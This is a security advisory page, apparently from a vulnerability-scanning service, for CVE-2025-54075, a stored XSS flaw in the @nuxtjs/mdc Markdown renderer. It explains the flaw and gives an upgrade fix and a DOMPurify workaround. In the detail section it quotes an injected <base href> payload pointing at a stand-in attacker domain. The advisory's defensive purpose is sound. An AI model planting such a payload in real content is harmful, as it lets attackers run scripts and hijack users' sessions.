CVE-2025-54075: XSS Vulnerability in @nuxtjs/mdc Markdown Rendering

@nuxtjs/mdc Updated 02 Oct 2025

Summary

20/07/2025
Yes i
High
8.3

CVE-2025-54075: Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering. Affects @nuxtjs/mdc versions < 0.17.2. Fixed in 0.17.2. How to fix ↓

Free scan

Check if this vulnerability affects your application

Upload a manifest or SBOM and we'll show whether you're affected, plus every other risky package in the same scan.

Check my app free

No signup required · Results in about 60 seconds

Upload your dependency manifest or SBOM

Drag & drop your file here or

Java Javascript PHP Python Go Rust Ruby Dart C/C++ Elixir CycloneDX SPDX

Upload a supported dependency manifest or SBOM. No installation or source-code access required.

See supported files and SBOM formats
SBOM sbom.json · bom.json · bom.xml · *.spdx.json · *.cdx.json · *.cdx.xml
Java pom.xml · gradle.lockfile · buildscript-gradle.lockfile
Javascript package-lock.json · yarn.lock · pnpm-lock.yaml
PHP composer.lock
Python poetry.lock · requirements.txt · Pipfile.lock
Go go.mod
Rust Cargo.lock
Ruby Gemfile.lock
Dart pubspec.lock
C/C++ conan.lock
Elixir mix.lock
Enter your work email to receive your report link.

Verify your email to view the full report and start 30 days of continuous monitoring. No credit card required.

Sponsored Lume, the Habilume companion Habilume Habit tracker with a companion that grows with you Complete habits, earn Lume Points, and watch your Lume grow as you stay consistent. App Store Google Play

Background

The @nuxtjs/mdc package is a Markdown component for Nuxt.js applications, enabling developers to render Markdown content seamlessly. It is widely used in various applications, including blogs, content management systems, and documentation sites. However, it has a critical vulnerability that allows for remote script inclusion, posing significant security risks.

Vulnerability Detail

A remote script-inclusion/stored XSS vulnerability exists in @nuxtjs/mdc, allowing a Markdown author to inject a <base href="https://attacker.tld"> element. This <base> tag alters how relative URLs are resolved, enabling attackers to load scripts or other resources from their own domains, executing arbitrary JavaScript in the context of the vulnerable site. The flaw originates from insufficient validation in the validateProp() function, which fails to check the <base> tag, allowing malicious attributes to pass through unchecked.

How To Fix

Minimum fixed version

0.17.2

This is the first release that contains the fix.

npm install @nuxtjs/mdc@0.17.2

Tip — Not sure which version your app runs? Vulert can match this fix to it. Scan free →

Workaround

Until the package is updated, you can disable raw HTML in Markdown or use an external sanitizer like DOMPurify. Here is an example of how to configure DOMPurify to forbid <base> tags:

const cleanHTML = DOMPurify.sanitize(dirtyHTML, { FORBID_TAGS: ['base'] });

Conclusion

The @nuxtjs/mdc package has a critical XSS vulnerability that can lead to severe security implications for applications using it. It is crucial to update to the patched version or implement workarounds to protect against potential attacks. Regular monitoring with tools like Vulert can help maintain security in your applications.

See every vulnerability recorded for @nuxtjs/mdc →

Share this vulnerability

FAQ

The vulnerability is a stored XSS that allows attackers to inject malicious scripts via the <base> tag in Markdown content.

If exploited, attackers can execute arbitrary JavaScript in the context of your site, leading to session hijacking, credential theft, or defacement.

Yes, the vulnerability is patched in version 0.17.2 of @nuxtjs/mdc. Updating to this version will resolve the issue.

You can disable raw HTML in Markdown or implement an external sanitizer like DOMPurify to mitigate the risk temporarily.

You can use Vulert, which monitors and alerts for open-source vulnerabilities in real-time. You can check your application using the Vulert playground without any signup.

Related vulnerabilities

Recent vulnerabilities recorded for @nuxtjs/mdc.

Sponsored Lume, the Habilume companion Habilume Habit tracker with a companion that grows with you Complete habits, earn Lume Points, and watch your Lume grow as you stay consistent. App Store Google Play

How To Fix

Minimum fixed version

0.17.2

This is the first release that contains the fix.

npm install @nuxtjs/mdc@0.17.2

Tip — Not sure which version your app runs? Vulert can match this fix to it. Scan free →

Subscribe to Vulert on Telegram
Daily digest of new CVEs, critical and high severity, affected packages and fixes — plus a weekly roundup.
Join the channel →
Help improve this record
Report an issue or send feedback